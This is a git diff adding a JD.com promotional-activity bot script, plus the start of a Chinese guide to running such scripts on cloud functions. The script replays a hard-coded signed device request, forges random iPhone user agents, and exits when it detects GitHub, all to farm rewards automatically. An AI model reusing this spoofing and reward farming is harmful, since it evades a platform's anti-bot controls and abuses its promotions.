num++; + if(item.remark.indexOf('邀请好友') > -1) value = item.rewardName.replace('京豆',''); + if(item.remark.indexOf('邀请好友') == -1) console.log(`${item.remark +':' || ''}${item.rewardName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`我的奖品 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function myfriend() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/myfriend', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + $.log(`=========== 你邀请了:${res.data.length}个`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function luckydraw(type) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` + $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/luckydraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.prize && res.data.prize.rewardName){ + msg = `${res.data.prize.rewardName}` + } + console.log(`抽奖获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`抽奖 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function doTask(taskId) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&taskId=${taskId}` + $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/doTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpFriend API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.beanNum){ + msg = ` ${res.data.beanNum}京豆` + } + if(res.data.score){ + msg += ` ${res.data.score}龙力值` + } + if(res.data.drawChance){ + msg += ` ${res.data.drawChance}次抽奖` + } + console.log(`获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function helpFriend() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/helpFriend', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpFriend API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = `助力失败\n${data}` + if(res.data.helpFriendMsg){ + msg = `${res.data.helpFriendMsg}` + } + console.log(`${msg}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function followShop() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}` + $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/followshop', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} followShop API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true){ + + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function myInfo() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/myInfo', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(typeof res.data.task != 'undefined') $.task = res.data.task + if(typeof res.data.drawChance != 'undefined') $.drawChance = res.data.drawChance + if(typeof res.data.score != 'undefined') $.score = res.data.score + if(typeof res.data.totalScore != 'undefined') $.totalScore = res.data.totalScore + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getActorUuid() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activityContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz4-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + "Referer": `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.hasFollowShop != 'undefined') $.hasFollowShop = res.data.hasFollowShop + if(typeof res.data.shareUser != 'undefined') $.shareUser = res.data.shareUser + if(typeof res.data.uid != 'undefined') $.actorUuid = res.data.uid + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`activityContent ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz4-isv.isvjcloud.com/wxActionCommon/getUserInfo`, + body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz4-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer': `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getUserInfo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function adLog() { + return new Promise(resolve => { + let pageurl = `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + $.post({ + url: `https://lzdz4-isv.isvjcloud.com/common/accessLogWithAD`, + body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz4-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] + if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ + $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' + $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz4-isv.isvjcloud.com', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz4-isv.isvjcloud.com/customer/getMyPing`, + body: `userId=${$.shopId || $.venderId}&token=${$.isvObfuscatorToken}&fromType=APP`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz4-isv.isvjcloud.com', + 'Referer':`https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + $.lz_jdpin_token = '' + if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ + $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res.data || ''); + } + }) + }) +} +function getSimpleActInfoVo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz4-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, + body: `activityId=${$.activityId}`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz4-isv.isvjcloud.com', + 'Referer':`https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getWxCommonInfoToken () { + return new Promise(resolve => { + $.post({ + url: `https://lzdz4-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz4-isv.isvjcloud.com', + 'Origin':'https://lzdz4-isv.isvjcloud.com', + 'Referer': `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} wxCommonInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY + if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`token ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getIsvObfuscatorToken () { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz4-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIde27812210seewuOJWEnRZ6u7X5cB/JIQnsLj51RJEe7PtlRG/yNSbeUMf%2BbNdgjQzFxhZsU4m5/PLZOhi87ebHQ0wPc9qd82Bh%2BVoPAhwbhRqFY&isBackground=N&joycious=59&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=85975d9149a99a8773da99475093e5df&st=1628842643694&sv=100&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJTGe1kGzlVUSwNbkSbubhmuKL8rUZWFIXz6fTEnSIll6JnBySCmFizA6CYX6LrtC%2BqIhtKsiLZittsB9QCCstWCIU7OYWRTiQhupYps3YigZ2NE7NMszM5flu5v3jCNgowjLMHqSD9QLx/E3NRiz%2B%2BQLXceJhCINjAET5kuyMf/lXLOIG/0EFZg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(url, body) { + return { + url: `https://lzdz4-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + "Host": "lzdz4-isv.isvjcloud.com", + "Origin": "https://lzdz4-isv.isvjcloud.com", + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/iCloud.md b/backUp/iCloud.md new file mode 100644 index 0000000..c61143f --- /dev/null +++ b/backUp/iCloud.md @@ -0,0 +1,215 @@ +## 1.安装 Node.js 环境 + +[下载地址](https://nodejs.org/zh-tw/download/ ) + +根据自己的操作系统下载 + +傻瓜式安装,一直下一步即可。 + + + +## 2.下载源码 + +![BclSld.png](https://s1.ax1x.com/2020/11/04/BclSld.png) + +点击红框处下载压缩包 + +## 3.安装依赖、增加入口文件、增加cookie + +压缩包解压后进入项目文件夹 + +- Windows 用户按住 **shift** 点击右键,点击 **在此处打开命令窗口** +- Mac 用户通过终端,自行进入该文件夹 + +在命令行内输入 `npm i `,等待运行完成。 + +此时,项目文件夹内会多出一个 `node_modules`文件夹 + + **增加入口文件** + +方案一:同一个仓库下同一个时间,执行多个脚本 + +在项目文件夹内新建 `index.js` + +编辑文件 + +```javascript +'use strict'; +exports.main_handler = async (event, context, callback) => { + //解决云函数热启动问题 + delete require.cache[require.resolve('./jd_xtg1.js')]; + require('./jd_xtg1.js') //这里写你想要的脚本 + require('./jd_xtg2.js') //这里写你想要的脚本 + require('./jd_xtg3.js') //这里写你想要的脚本 +} + +``` +此时,同一时间点下,会同时执行多个脚本,触发器触发后,index.js文件中require()下的所有脚本都会被执行 + +**优点**:同一时间下可以同时执行多个脚本,适合脚本种类少的repository,对脚本数量少的repository推荐使用此方案
